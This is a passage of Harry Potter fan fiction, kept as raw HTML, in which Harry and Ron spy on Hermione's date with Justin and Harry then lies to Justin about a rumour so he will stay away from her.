so?&#8221; Cho smiled looking at Harry, she noticed he smiled briefly but it\nlooked forced.&nbsp; This would be something\nto talk about with her circle of friends that brainy girl with that very shy\nguy.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Certainly,\nit&#8217;s real cute.&#8221; He said not sounding exactly sure.&nbsp; He then gave his attention to Cho when she\nbegan her conversation about the Christmas holidays coming up soon.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Are\nyou staying for the holidays Harry?&#8221; She asked politely.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nnodded, &#8220;you?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yes\nI am too. A lot of us are staying this year probably because of the Yule ball\nagain this year, are you taking me?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Cho\nI hear a lot about you from other your many exes&#8217;s, and well if we are still\ntogether at that time.&nbsp; Then yes I would\nlike to take you.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\nhave a feeling Harry that we will still be together at that time, this is\nsomething real for me. You&#8217;re somewhat becoming important to me.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nbeamed with pride, &#8220;really?&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Of\ncourse.&#8221; She smiled.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Without\na second thought Harry leaned in a kissed her, but she pulled away immediately.\nHe felt slightly confused.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Cho\ncould see his confusion, &#8220;Harry please try to control yourself we are in\npublic.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\ncan see that.&#8221; He felt slightly offended.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;There&#8217;s\nalways a time and place for kissing and other stuff, and being out in public\nisn&#8217;t one of them.&#8221; She said with a slight smile hoping that he could\nunderstand.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh,\nalright then.&#8221; Harry leaned back against the bench still feeling confused. he\nnoticed that Justin was getting to his feet, he sat money down on the\ntable.&nbsp; Justin reached his hand out and\nHermione took it with a smile, she was helped to her feet.&nbsp; Justin still holding her hand walked towards\nthe exit of the Three Broomsticks.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nsaw Ron and Harry and waved to them with a huge smile on her face.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">They\nboth waved back and then she was gone out the door.&nbsp; Harry looked over at Cho was sipping her\ndrink quietly he then turned and looked at Ron who was munching on some fried\npotatoes.&nbsp; He was always eating\nsomething. Harry shook his head, he needed to get some air. &#8220;I&#8217;m going for a\nwalk, do you two want to come?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron\nnodded stuffing the last potatoes into his mouth. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Cho\nshook her head no, &#8220;I still have to finish my drink Harry, but you two may go\nif you like.&nbsp; You don&#8217;t have to wait for\nme.&#8221; She smiled.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">He\nsmiled back, he watched Ron put a little money down on the table, Harry put the\nrest. And they walked out of the establishment.&nbsp;\n&#8220;You don&#8217;t think she&#8217;s angry with me do you?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;For\nwhat? You didn&#8217;t do anything but try to show a little affection Harry.&#8221; Ron\nreplied as the two of them walked through the town.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;If\nI didn&#8217;t do anything wrong, then&#8212;&#8221;&nbsp; Harry\nwas interrupted by Ron pulling on his arm.&nbsp;\nThey both stopped walking.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nstared at both Justin and Hermione, he just handed her a fist full of daisies\nwhich he had just bought from an old lady carrying flowers in a basket.&nbsp; They both watched as Hermione leaned in and\nkissed Justin on the cheek.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;If\nI&#8217;m going to get a kiss every time I give you flowers Hermione, then you&#8217;ll be\ngetting tons of them.&#8221; Justin smiled.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nlaughed a little and pushed him slightly in a teasing manner, &#8220;you don&#8217;t have\nto give me flowers in order for me to give you a kiss.&nbsp; I&#8217;d do it without the flowers.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Justin\nblushed as she took his hand and they continued to stroll through the town,\nuntil they reached the lake, no one else seemed to be around.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Do\nyou want to follow them?&#8221; Ron suggested.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\ndon&#8217;t know, do you think we should?&#8221; Harry eyed both Justin and Hermione, he\ndidn&#8217;t like the way his stomach felt when he looked at them.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well\nI&#8217;m board so I want to follow them, and with you and your bad eavesdropping\nhabit, you know you want to.&#8221; Ron smirked.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nnodded &#8220;Oh alright, let&#8217;s go.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">They\nboth followed close enough to hear their conversation without looking like they\nwere spying.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Justin\nif you&#8217;ve had this crush on me for a long time then why didn&#8217;t you just tell me\nabout it?&#8221; Hermione pulled on his arm a bit.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\nthought you wouldn&#8217;t be interested in me, I&#8217;m not the most articulate guy when\nit comes to talking with girls. And you are just so&#8212;&#8221; He paused &#8220;and smart I\ndidn&#8217;t think you would go for someone like me.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well\nI am glad you told me now&#8221; She smiled.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;So\nam I,&#8221; His smile faded, replaced by a look of concern, &#8220;do you want to know\nsomething terrible.&nbsp; There was this\nhorrible rumor floating around about you.&#8221; Justin said.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;A\nrumor about me what kind?&#8221; Hermione was very interested.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;A\nreally horrible one, I&#8217;m almost afraid of what you&#8217;ll say when you hear\nit.&#8221;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nsaw the fearful look in his eye, &#8220;Well I won&#8217;t be able to deny or accept it if\nyou don&#8217;t tell me what it is.&#8221; She smiled reassuringly.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Justin\nsighed, &#8220;It&#8217;s about you and your friends.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Ron\nand Harry?&#8221;&nbsp; What about me and my\nfriends?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well\nnow I only heard this I don&#8217;t know who started it. But it has been said that\nyou and your friends have been.&#8221; He was so uncomfortable &#8220;you know um, sharing\ncertain moments.&#8221; He made a little hand gesture.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nthought a moment then the light bulb came on and she knew what he was talking\nabout, &#8220;oh you mean that I&#8217;m having sex with my friends. With both of them?&#8221;\nShe felt slightly amused.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Justin\nnodded.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Overhearing,\nRon and Harry gasped with shock.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nstarted to laugh a bit, &#8220;so people think that I am sleeping with both of my\nfriends. At the same time?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;That\ndiscussion has come up a few times as well.&#8221; Justin felt so uncomfortable.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;My\nwhat kinky minds people have these days to turn a perfectly innocent girl such\nas myself into some kind of sex freak, and that I have been doing both of my\nfriends and at the same time too.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Are\nyou angry?&#8221; Justin was cautious.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nstarted laughing she almost fell over she was laughing so hard, &#8220;no I&#8217;m not\nangry, it is just too funny.&nbsp; I can&#8217;t\nbelieve some of these people just trying to make things up.&nbsp; Justin did you believe any of those rumors?&#8221;\nShe finally stopped laughing, but still held the smile of amusement.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry&#8217;s\nface was beet red when he turned to Ron who&#8217;s face was also very red he matched\nup with his hair color. &#8220;Who would say such a thing, Hermione is our friend we\nwould never do that to her. Nor would she with you or I&#8221; He pointed towards\nHermione.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron\nnow seemed amused, &#8220;Well I don&#8217;t know, do we really know what goes on in\nHermione&#8217;s mind. I mean it is always the quiet ones, or the smart ones that\nhave the really dirty minds. After all she wasn&#8217;t mad about the rumors.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nwas shocked, &#8220;you wouldn&#8217;t do that to her would you?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\ndon&#8217;t know, the thought has crossed my mind a few times.&#8221; Ron was serious, &#8220;I\nmean I could that&#8217;s for sure.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\ncan&#8217;t believe you actually think about that?&#8221; Harry felt disgusted.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh\ncome on Harry I think about every girl that way, and you are no innocent either.&nbsp; You are constantly staring you just don&#8217;t\nrealize it.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\ndo not.&#8221; Harry said &#8220;and I certainly don&#8217;t think of our friend, friend&#8221; he\nrepeated. &#8220;That way.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yeah\nwell I do, and I&#8217;m not afraid to admit it.&#8221;&nbsp;\nRon looked over at Hermione and Justin, sure he could see himself\nkissing her, touching her. He always wondered what she looked like naked.&nbsp; <i style="mso-bidi-font-style:normal">Probably\nbeautiful</i> he thought to himself.&nbsp; Ron\nhad noticed since the beginning of this year that she now had a woman&#8217;s figure,\neven though she wore the most conservative looking clothing under her robes,\nlots of knee length skirts. But that was almost a challenge, he so want to see\nat what she did indeed try to hide.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nwas glaring at Ron, &#8220;you&#8217;re thinking about her right now aren&#8217;t you?&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron\nglanced at Harry once and then back in the other direction, &#8220;how could I not\nwith the images that just flashed in my head from what we overheard.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nsmiled at Justin, &#8220;well I&#8217;m glad you didn&#8217;t believe those rumors, because if\nyou had, that could be a reason why you suddenly started taking a notice in\nme.&#8221; She searched Justin&#8217;s eyes for what could be the truth.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nand Ron both heard that, &#8220;What if that&#8217;s why he would be interested in her?&#8221;\nHarry thought out loud.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You\ndon&#8217;t think someone could just be interested in her just for the hell of it?&#8221;\nRon&#8217;s eyes narrowed.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\ndidn&#8217;t mean for it to come out like that, of course there will be guys\ninterested in her.&nbsp; But I just don&#8217;t know\nif Justin is all that innocent as he seems.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Harry\nyour being over protective again, I can hear it in your voice.&#8221; Ron replied. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Justin\nstared into her eyes, he was lost completely. &#8220;I&#8217;m not one to believe the rumor\nmill, I just didn&#8217;t want you to find out and be hurt about it.&nbsp; Rumors can be so cruel you know.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\ntook Justin&#8217;s hand tenderly, &#8220;I don&#8217;t listen to rumors Justin, they don&#8217;t\nbother me because they aren&#8217;t true.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You\nreally are an amazing young lady, I can&#8217;t believe I waited this long to even\napproach you on other matters besides school.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nlooked at Justin, could she see herself with him?&nbsp; She knew he wasn&#8217;t exactly what she wanted,\nshe so wanted Harry.&nbsp; But he would never\nwant her.&nbsp; Hermione had come to realize\nthat she had been waiting around for nothing.&nbsp;\nHarry wanted women that looked like Cho, beautiful and elegant.&nbsp; Hermione found herself a bit of a klutz in\nher recent growth spurt not only did she feel awkwardly tall she occasionally\ntripped over her own feet. And before she had come back to school her muggle\nphysician told her to get a bigger size bra taking her from a C cup to a full D\ncup which made Hermione very self conscious, she was determined to cover\nherself up even more.&nbsp; She was so jealous\nof Cho being smaller with a more easily manageable figure.&nbsp; Plus she played Quidditch where as Hermione\ncould just do without that boring game.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">She\nsaw Justin gazing at her, Hermione felt that Justin found her beautiful and\nsmart, More than just a big brain with no feelings or desires.&nbsp; He wanted to be with her. He was with her\nright now.&nbsp; She saw him lean slowly\ncloser to her, all she could do was stare.&nbsp;\nShe knew Justin was going to try and kiss her.&nbsp; Should she move away, should she say no? Or\nshould she just go for it, like anyone else would.&nbsp; This could be her chance to be happy, Harry wasn&#8217;t\nthe one for her he is already sleeping with Cho, that&#8217;s usually a sign of a\nvery serious relationship.&nbsp; He was not\nwaiting around for her, she was the one waiting around for him.&nbsp; <i style="mso-bidi-font-style:normal">No\nmore!</i> Her head shouted.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nand Ron both stared as they saw Justin move closer and press his lips against\nHermione&#8217;s.&nbsp; For some reason Harry felt a\nbit of relief for it was just a soft and gentle kiss, but his relief faded when\nhe saw Hermione&#8217;s mouth open and Justin expertly thrusting his tongue into her\nmouth.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\ndropped the flowers from her hand and arms went around Justin, clinging to him\nas mouth played against hers.&nbsp; His tongue\nbattling with hers, deepening her desire. She could feel the passion burning\nwithin her. <i style="mso-bidi-font-style:normal">Wow he knows what he&#8217;s doing</i>.\nHer head commented, a small blissful cry came from within her.&nbsp; Justin ripped his mouth from hers, only to\nkiss her cheek, down her neck. Hermione threw her head back a little feeling\nhis mouth very hot on neck, and up the side.&nbsp;\nShe felt her knees and limbs failing her.&nbsp; Justin crushed her harder against him, her\nbosom pressed up against his chest, his mouth claimed hers again hot, devouring\nher very soul. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Ron\nand Harry could not move, they wanted to escape what they were seeing, but\ntheir legs wouldn&#8217;t work. Nor could they take their eyes from it.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nfelt violently ill, and not to mention really, really angry.&nbsp; He looked over at Ron who just seemed\nmesmerized as if he were enjoying all of this as he knew of his friend&#8217;s\nvoyeuristic ideas.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nnever felt more alive in her entire life as she was kissing Justin whom she\nthought was very shy and quiet.&nbsp;\nSomething was amiss, but she couldn&#8217;t tell exactly what it was.&nbsp; She felt his hand travel from her back around\nher front, to press against the top of her shirt wandering downward to her&#8212; <i style="mso-bidi-font-style:normal">He knows what he&#8217;s doing!!</i> Her head\nshouted a warning this time, with her head spinning she immediately pushed\naway.&nbsp; Hermione almost fell backwards but\nJustin caught her by the elbows steadying her.&nbsp;\nShe stepped back from him a little staring at him. Her face was so\nflushed that you could probably pick her out if you were in an airplane flying\nover head.&nbsp; She crossed her arms over her\nbosom protectively.&nbsp; &#8220;Justin?&#8221; She\nbreathed sucking in air.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Justin\nknew she was suspicious of something he could see it in her eyes, &#8220;Ah,\nHermione. I&#8217;m sorry I lost my head.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;That.&#8221;\nShe took a breath, &#8220;is an understatement.&#8221; She was glaring with suspicion.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\nknow what you must be thinking.&#8221; He said</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Do\nyou?&#8221; She turned from him slightly, &#8220;Justin why are you here with me?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Hermione,\nI&#8217;m sorry if I was a bit forward. You have already done so much for me I just\nwanted to please you.&#8221;&nbsp; He said with\nsincerity.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nstared if her face could have gotten any redder it would have, she stepped\ncloser to him. &#8220;Justin can I ask you a question?&#8221;<br style="mso-special-character:\nline-break">\n<br style="mso-special-character:line-break">\n</p>\n\n<p class="MsoNormal" style="text-indent:.25in">He\nnodded.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;For\nsuch a shy person as you are, where in the world did you learn to kiss like\nthat?&#8221; She praised with a smile.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\nhave had girlfriends before Hermione.&nbsp;\nAnd I really, really like you, and I wanted to impress you.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\ngrinned, &#8220;well you certainly did a lot more than just impress me Justin.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;So\nyou liked it?&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;You\nhave no idea.&#8221; She said with even more praise. &#8220;We should start heading back\nnow, I&#8217;ve got some studying to do.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Certainly.&#8221;\nJustin smiled.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Both\nHermione and Justin turned to walk back but instead they found Ron and Harry\njust staring at them.&nbsp; &#8220;Uh hey guys.&#8221;\nHermione smiled feeling slightly uncomfortable.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Hermione,\nJustin.&#8221; Ron said his voice a little higher, he coughed trying to get it to\nwork right.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in"><i style="mso-bidi-font-style:\nnormal">Oh hell</i> Hermione thought rolling her eyes. Those two must\nhave seen her and Justin. She dared to ask &#8220;so, how long were you guys standing\nthere?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Long\nenough to see you sucking face with him.&#8221; Harry said bitterly pointing towards\nJustin.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Hermione\nwas only slightly confused by Harry&#8217;s tone of voice, <i style="mso-bidi-font-style:\nnormal">o-k-a-y</i> she thought to herself.&nbsp;&nbsp;\nHermione shook her head and grabbed Justin&#8217;s hand, &#8220;come on we should\nget going.&#8221;&nbsp; Both she and Justin walked\npast Ron and Harry.&nbsp; Justin turned around\nfeeling someone staring at him, sure enough there were eyes upon him, Harry&#8217;s\neyes and he had never looked angrier, or was it jealousy?&nbsp; But it couldn&#8217;t be Justin thought.&nbsp; <i style="mso-bidi-font-style:normal">Was\nHarry jealous of me?</i> Justin said to himself.&nbsp; He was delighted that someone was actually\njealous of him.&nbsp; He turned all the way\naround walking with Hermione.&nbsp; He looked\nover at her, she was so incredibly beautiful.&nbsp;\nHe suddenly felt very lucky.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">****</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">After\nhearing from Hermione about her almost having slept with Justin, Harry was not\nhappy about that at all.&nbsp; Ron had told\nhim a million times not to interfere, that it was really none if either of\ntheir business who she wanted to be with.&nbsp;&nbsp;\nHarry decided to confront Justin anyway.&nbsp;\nhis arms crossing over his chest, &#8220;Justin we need to have a little\ntalk.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Justin\nlooked up from the library table and sat his quill down, &#8220;what about?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;About\nHermione.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well\nwhat about her?&#8221; Justin didn&#8217;t like the tone in Harry&#8217;s voice.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nreached up and scratched the back of his head, &#8220;you care about her don&#8217;t you?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Of\ncourse I do.&#8221; Justin felt really nervous.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;And\nyou want to make her happy don&#8217;t you?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;More\nthan anything,&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Oh\nthat&#8217;s really nice of you&#8221; Harry said trying to avoid sounding sarcastic, &#8220;but\nif you really want to make Hermione happy you should stay away from her.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Justin&#8217;s\neyes narrowed, &#8220;how would my staying away from her make her happy, I don&#8217;t see\nthe logic in that?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\nknow when someone is trying to take advantage of another.&#8221; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Justin\nwas shocked &#8220;I most certainly am not taking advantage of her.&#8221; He was angry.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Come\non now tell me the truth. I&#8217;m a guy just like you I know what&#8217;s on your mind.\nWhat have you heard, what&#8217;s been floating around?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Justin\nstared, &#8220;it is true then, those things people have been saying true?&#8221; He felt\nhis temper boil.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Harry\nknew what Justin was referring to, it wasn&#8217;t true but he also wasn&#8217;t going to\ndeny it either.&nbsp; This guy was not right\nfor Hermione at all and he would make sure that Justin Finch-Fletchley stays\nclear of her even if he had to lie through his teeth to make sure of it.&nbsp; &#8220;If Hermione wants you to know the truth she\nwill tell you.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;She\ndid tell me, she said it wasn&#8217;t true.&#8221; Justin looked up, &#8220;then again she wasn&#8217;t\neven shocked or angry.&#8221;&nbsp; He stared down\nat the table, &#8220;And I have been wondering why she would suddenly stop me the\nother night.&nbsp; She must have been feeling\nreally guilty about something, but she wouldn&#8217;t say what it was.&#8221;&nbsp; Justin looked up at Harry with absolute 